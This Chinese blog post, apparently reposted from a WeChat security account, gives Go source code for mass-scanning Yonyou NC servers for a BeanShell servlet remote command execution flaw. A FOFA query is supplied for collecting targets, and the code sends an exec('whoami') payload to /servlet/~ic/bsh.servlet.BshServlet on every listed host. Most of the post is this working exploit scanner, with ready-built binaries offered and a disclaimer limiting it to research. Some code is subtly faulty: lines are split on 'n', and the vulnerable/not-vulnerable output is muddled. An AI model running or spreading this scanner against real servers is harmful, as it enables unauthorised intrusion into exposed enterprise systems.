在t00ls上看到一篇名为《 goland for 用友NC命令执行的代码》的文章。
看到没有批量的功能,手痒,加了一下。
首先使用fofa工具批量获取资产
icon_hash="1085941792"
直接放出检测代码:
package main
import (
"bufio"
"crypto/tls"
"flag"
"fmt"
"io"
"net/http"
"os"
"strings"
)
func get(targetURL string) {
/*检测值是否未空*/
fullCommand := `bsh.script=exec("` + "whoami" + `")%0D%0A`
/*构造payload*/
cli := &http.Client{Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}}
request, err := http.NewRequest(http.MethodPost, targetURL+"/servlet/~ic/bsh.servlet.BshServlet", strings.NewReader(fullCommand))
if err != nil {
fmt.Println(err)
}
request.Header.Add("Cache-Control", "max-age=0")
request.Header.Add("Content-Type", "application/x-www-form-urlencoded")
request.Header.Add("User-Agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36")
request.Header.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9")
request.Header.Add("Refer", targetURL)
request.Header.Add("Cookie", "JSESSIONID=25E29F182B83C31ED990C4576D3E5893.server")
request.Header.Add("Connection", "close")
/*http请求体构建并忽略tls证书校验*/
do, err := cli.Do(request)
if err != nil {
fmt.Println(targetURL,"不存在漏洞")
}else {
if do.StatusCode != 200 {
fmt.Println(targetURL,"不存在漏洞")
}/*响应码检查*/
fmt.Println(targetURL, "发现漏洞")
defer func() {
_ = do.Body.Close()
}()/*资源释放*/
}
}
func main() {
var filepath string
/*创建变量*/
flag.StringVar(&filepath, "l", "", "url.txt")
flag.Parse()
/*获取变量中的值*/
file, err := os.OpenFile(filepath, os.O_RDWR, 0666)
if err != nil {
fmt.Println("Open file error!", err)
return
}
defer file.Close()
buf := bufio.NewReader(file)
for {
line, err := buf.ReadString('n')
line = strings.TrimSpace(line)
a := line
go func() {
get(a)
}()
if err != nil {
if err == io.EOF {
break
} else {
fmt.Println("Read file error!", err)
return
}
}
}
select {}
}
懒得自己编译的同学,我给大家打包好了,全平台通用:
回台回复:用友 获取批量验证用友NC命令执行漏洞工具
回台回复:fofa 获取fofa批量获取资产工具
本文始发于微信公众号(白帽子飙车路):Go开源-批量验证用友NC命令执行漏洞工具
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论